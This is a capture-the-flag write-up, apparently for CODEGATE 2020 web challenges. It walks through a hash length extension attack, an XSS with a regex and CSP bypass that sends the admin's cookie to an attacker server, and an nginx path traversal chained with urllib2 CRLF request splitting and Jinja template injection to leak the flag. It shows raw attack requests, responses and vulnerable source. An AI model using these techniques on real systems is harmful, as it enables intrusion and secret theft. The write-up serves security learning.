Once you have downloaded the attached file, you can see the source above. After receiving two parameters, sig and q, put a salt before the base64 decoded value to compare with the sig.
Hash validation in the form $salt + $value for known weak algorithms, such as this issue, may be vulnerable to length extension attack.
the HashPump on the link makes it easy to complete the length extension attack payload.
1 2 3
<script >alert(1)</script >
In the bodypart, regular expression verification prevents the insertion of html tags, but this is an incorrect regular expression, which can be bypassed through inserting a new line character.
As the title, this challenge has the CSP settings as above to prevent XSS from occurring on the site. However, the CSP may not work with some response status. The api allows you to bypass the CSP by setting the response status to 102.
This is a payload script using the two techniques described above, and you can change the contents of the script by change d2.
After configuring the script and send the cookie value to your server, you can check the flag at the cookie value by sending the generated address to admin via the website’s report function.
Although This server is a just only for this challenge, it is weird serviced by the flask app through /render paths rather than the root path.
The address /static, which is referenced on service page, allows users to browse the parent directory by an nginx misconfigure, which skill is well known, so I will skip the explanation. An attacker will be able to navigate the /home path through the /static../ path.
The Dockerfile given as an attachment indicates that /home/src/ is the source directory for this flask app.
1 2 3 4 5 6 7 8 9
// http://110.10.147.169/static../src/app/__init__.py from flask import Flask from app import routes import os
/src/app/_init__.py file indicates that the flag passed to the environment variable from Dockerfile via the ENV command was set in the app.config["FLAG"] property of the flask app.
Also, from app import routes make us know that routes.py has a routing implementation source.
@front.route("/admin/ticket", methods=["GET"]) defadmin_ticket(): ip = get_ip() rip = get_real_ip()
if ip != rip: #proxy doesn't allow to show ticket print1 abort(403) if ip notin ["127.0.0.1", "127.0.0.2"]: #only local print2 abort(403) if request.headers.get("User-Agent") != "AdminBrowser/1.337": print request.headers.get("User-Agent") abort(403)
defget_real_ip(): return request.headers.get("X-Forwarded-For") or get_ip()
defproxy_read(url): #TODO : implement logging
s = urlparse(url).scheme if s notin ["http", "https"]: #sjgdmfRk akfRk return""
return urllib2.urlopen(url).read()
defwrite_log(rip): tid = hashlib.sha1(str(time.time()) + rip).hexdigest() withopen("/home/tickets/%s" % tid, "w") as f: log_str = "Admin page accessed from %s" % rip f.write(log_str)
return tid
defwrite_extend_log(rip, body): tid = hashlib.sha1(str(time.time()) + rip).hexdigest() withopen("/home/tickets/%s" % tid, "w") as f: f.write(body)
return tid
defread_log(ticket): ifnot (ticket and ticket.isalnum()): returnFalse
if path.exists("/home/tickets/%s" % ticket): withopen("/home/tickets/%s" % ticket, "r") as f: return f.read() else: returnFalse
The /home/src/app/routes.py identifies the features and vulnerabilities of the website.
When requested by specifying an X-Forwarded-For header that is not a value of 127.0.0.1 or 127.0.0.2 in the path /admin, a file containing the contents of the X-Forwarded-For is created through the write_log function in the /home/tickets directory and returned to the filename.
In the admin_ticket function corresponding to the /admin/ticket path, read the delivered ticket and execute the factor_template_string function. As a result, Jinja SSTI is available for this issue.
The http request function, which is the main feature of the problem, is through the old version of urlib2 library. (The Python version is listed in the attached Dockerfile) A CRLF vulnerability exists in that version of urlib2, which enables http request splitting.
You can create a file at /home/tickets/ with any request like this and get the file name. In this case, the ticket file is /home/tickets/e05c0b2a191386ab2b6ff732f2e8c199e0ce18b4.
1 2
// http://110.10.147.169/static../tickets/e05c0b2a191386ab2b6ff732f2e8c199e0ce18b4 Admin page accessed from applemint
You can view the contents of the saved ticket file using the nginx route bug as described above.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
[REQUEST] POST /renderer/ HTTP/1.1 Host: 110.10.147.169 Content-Type: application/x-www-form-urlencoded Content-Length: 194
url=http://localhost/renderer/admin/ticket?ticket=e05c0b2a191386ab2b6ff732f2e8c199e0ce18b4 HTTP/1.1 Host: x User-Agent: AdminBrowser/1.337 X-Forwarded-For: 127.0.0.1 Connection: close
x
[RESPONSE] <divclass="proxy-body"> Admin page accessed from applemint </div>
The request split vulnerability allows full manipulation of the contents of packets. When you pass the parameter to the /admin/ticket path as GET, the contents of the ticket file appear rendered as a template.
1 2 3 4 5 6 7 8 9 10 11 12 13 14
[REQUEST] POST /renderer/ HTTP/1.1 Host: 110.10.147.169 Content-Type: application/x-www-form-urlencoded Content-Length: 90
[RESPONSE] <pclass="text-center"> Your access log is written with ticket no 6f99f4a313a094964d38e793a99a339acdaac3be </p>
From /home/src/app/__init__.py, we could know the flag is stored in config.FLAG . So {{"{\{config.Flags}\}"}} template string means
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
[REQUEST] POST /renderer/ HTTP/1.1 Host: 110.10.147.169 Content-Type: application/x-www-form-urlencoded Content-Length: 194
url=http://localhost/renderer/admin/ticket?ticket=6f99f4a313a094964d38e793a99a339acdaac3be HTTP/1.1 Host: x User-Agent: AdminBrowser/1.337 X-Forwarded-For: 127.0.0.1 Connection: close
x
[RESPONSE] <divclass="proxy-body"> Admin page accessed from CODEGATE2020{CrLfMakesLocalGreatAgain} </div>
{{"{\{config.Flags}\}"}} can be verified by rendering templates with tickets where FLAG contents are stored.